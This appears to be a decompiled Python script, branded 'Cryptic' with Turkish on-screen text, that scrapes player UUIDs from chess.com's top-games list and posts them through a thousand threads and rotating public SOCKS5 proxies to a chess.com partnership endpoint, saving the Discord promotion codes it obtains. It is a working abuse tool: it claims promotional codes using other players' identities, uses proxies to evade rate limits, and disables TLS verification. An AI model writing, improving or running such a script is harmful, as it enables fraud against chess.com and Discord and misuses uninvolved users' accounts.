global generated_count
global error_count
import warnings
import urllib3
import json
import random
import uuid
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import requests
import curses
import time
from datetime import datetime
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.simplefilter('ignore', urllib3.exceptions.InsecureRequestWarning)
proxylist = requests.get('https://raw.githubusercontent.com/r00tee/Proxy-List/main/Socks5.txt').text.split()
lock = Lock()
url = 'https://www.chess.com/rpc/chesscom.partnership_offer_codes.v1.PartnershipOfferCodesService/RetrieveOfferCode'
tpe = ThreadPoolExecutor(max_workers=1000)
session = requests.Session()
headers = {'accept': 'application/json, text/plain, */*', 'accept-language': 'ja,en-US;q=0.9,en;q=0.8', 'cache-control': 'no-cache', 'content-type': 'application/json', 'pragma': 'no-cache', 'priority': 'u=1, i', 'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'referrer': 'https://www.chess.com/play/computer/discord-wumpus?utm_source=chesscom&utm_medium=homepagebanner&utm_campaign=discord2024'}
generated_count = 0
error_count = 0
start_time = datetime.now()
def create_hyperw_file():
with open('Cryptic.txt', 'w') as f:
f.write('Bizi Tercih Ettiğiniz İçin Teşekkürler\n')
f.write('Program: Cryptic\n')
f.write('Yapımcı : Nowzy\n')
f.write('Skidliyecek arkadaşlara h.o\n')
def gen(user):
global error_count
global generated_count
if 'uuid' not in user:
return
try:
data = {'userUuid': user['uuid'], 'campaignId': '4daf403e-66eb-11ef-96ab-ad0a069940ce'}
tp = random.choice(proxylist)
proxy = {'http': 'socks5://' + tp, 'https': 'socks5://' + tp}
response = session.post(url, headers=headers, json=data, proxies=proxy, verify=False, timeout=10)
if response.status_code == 200:
code_value = response.json().get('codeValue')
if code_value:
with lock, open('promolar.txt', 'a') as f:
f.write(f'https://discord.com/billing/promotions/{code_value}\n')
generated_count += 1
except Exception:
error_count += 1
def main(stdscr):
create_hyperw_file()
curses.curs_set(0)
stdscr.nodelay(1)
stdscr.timeout(100)
curses.start_color()
curses.init_pair(1, curses.COLOR_CYAN, curses.COLOR_BLACK)
curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK)
curses.init_pair(3, curses.COLOR_GREEN, curses.COLOR_BLACK)
title = '************* CRYPTIC DASHBOARD *************'
footer = '********************************************'
while True:
stdscr.clear()
elapsed_time = datetime.now() - start_time
elapsed_str = str(elapsed_time).split('.')[0]
stdscr.attron(curses.color_pair(2))
stdscr.addstr(1, 2, title, curses.A_BOLD)
stdscr.attroff(curses.color_pair(2))
stdscr.attron(curses.color_pair(1))
stdscr.addstr(2, 4, f'Üretilen Kod Sayısı : {generated_count}', curses.A_BOLD)
stdscr.addstr(3, 4, f'Alınan Toplam Hata : {error_count}', curses.A_BOLD)
stdscr.addstr(4, 4, f'Geçen Süre : {elapsed_str}', curses.A_BOLD)
stdscr.addstr(5, 4, 'Program : CRYPTIC', curses.A_BOLD)
stdscr.addstr(6, 4, 'Powered by : Nowzy', curses.A_BOLD)
stdscr.addstr(7, 4, 'Skidliyecek arkadaşlar için hayırlı olsun ', curses.A_BOLD)
stdscr.addstr(8, 4, 'ginede hiç bilgisi olamyanlar için güçük bi obf ekledim kolay skidlemesinler diye ', curses.A_BOLD)
stdscr.attroff(curses.color_pair(1))
stdscr.attron(curses.color_pair(2))
stdscr.addstr(10, 2, footer, curses.A_BOLD)
stdscr.attroff(curses.color_pair(2))
stdscr.attron(curses.color_pair(3))
stdscr.border(0)
stdscr.attroff(curses.color_pair(3))
stdscr.refresh()
gamelist = session.get(f'https://www.chess.com/service/gamelist/top?limit=50&from={random.randint(0, 1000)}').json()
for game in gamelist:
for user in game.get('players', []):
tpe.submit(gen, user)
key = stdscr.getch()
if key == ord('q'):
return None
curses.wrapper(main)